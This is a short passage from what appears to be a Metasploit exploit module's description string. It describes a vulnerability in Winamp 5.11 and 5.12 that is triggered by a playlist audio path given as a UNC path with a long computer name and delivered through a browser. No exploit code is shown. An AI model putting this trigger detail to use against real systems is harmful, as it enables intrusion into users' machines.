'Description' => %q{  
This module exploits a vulnerability in the Winamp media player.  
This flaw is triggered when a audio file path is specified, inside a  
playlist, that consists of a UNC path with a long computer name. This  
module delivers the playlist via the browser. This module has only  
been successfully tested on Winamp 5.11 and 5.12.
